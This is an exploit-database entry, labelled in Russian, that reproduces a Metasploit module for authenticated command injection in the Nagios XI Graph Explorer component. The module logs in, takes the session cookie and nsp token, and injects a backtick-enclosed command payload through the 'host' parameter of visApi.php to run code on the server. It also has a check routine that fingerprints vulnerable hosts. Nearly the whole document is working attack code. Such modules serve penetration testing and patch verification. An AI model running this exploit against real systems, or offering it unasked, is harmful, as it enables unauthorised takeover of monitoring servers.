Nagios XI Network Monitor Graph Explorer Component Command Injection

Свойства

Дата публикации:
08.12.2012
Цель:
Nagios XI
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
            'Description'    => %q{
                    This module exploits a vulnerability found in Nagios XI Network Monitor's
                component 'Graph Explorer'.  An authenticated user can execute system commands
                by injecting it in several parameters, such as in visApi.php's 'host' parameter,
                which results in remote code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
                    'sinn3r'
                ],
            'References'     =>
                [
                    [ 'OSVDB', '83552' ],
                    [ 'BID', '54263' ],
                    [ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html'; ]
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0d\x0a",
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl python ruby bash telnet',
                        }
                },
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    ['Graph Explorer Component prior to 1.3', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 30 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                # URI isn't registered, because this is set by the installer.
                OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
                OptString.new('PASSWORD', [true, 'The password to use'])
            ], self.class)
    end


    def check
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => '/nagiosxi/includes/components/graphexplorer/visApi.php'
        })

        if res and res.code == 404
            print_error("Remote host does not have Graph Explorer installed.")
        elsif res and res.body =~ /Your session has timed out/
            return Exploit::CheckCode::Detected
        end

        return Exploit::CheckCode::Safe
    end

    def get_login_data
        res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
        return '' if !res

        nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
        cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0]  || ''
        return nsp, cookie
    end

    def is_loggedin(cookie)
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => '/nagiosxi/index.php',
            'cookie' => "nagiosxi=#{cookie}"
        })

        if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
            return true
        else
            return false
        end
    end

    def login(nsp, cookie)
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => '/nagiosxi/login.php',
            'cookie'    => "nagiosxi=#{cookie}",
            'vars_post' => {
                'nsp'         => nsp,
                'page'        => 'auth',
                'debug'       => '',
                'pageopt'     => 'login',
                'username'    => datastore['USERNAME'],
                'password'    => datastore['PASSWORD'],
                'loginButton' => 'Login'
            },
            'headers'   => {
                'Origin'  => "http://#{rhost}",
                'Referer' => "http://#{rhost}/nagiosxi/login.php"
            }
        })

        return is_loggedin(cookie)
    end

    def exploit
        nsp, cookie = get_login_data
        if nsp.empty?
            print_error("Unable to retrieve hidden value 'nsp'")
            return false
        end

        if login(nsp, cookie)
            print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
        else
            print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
            return
        end

        print_status("Sending Command injection")
        send_request_cgi({
            'method'   => 'GET',
            'uri'      => '/nagiosxi/includes/components/graphexplorer/visApi.php',
            'cookie'   => "nagiosxi=#{cookie}",
            'vars_get' => {
                'type' => 'stack',
                'host' => "localhost`#{payload.encoded}`",
                'service' => 'Swap_Usage',
                'div'     => 'visContainer1566841654',
                'opt'     => 'days'
            }
        })
    end


end

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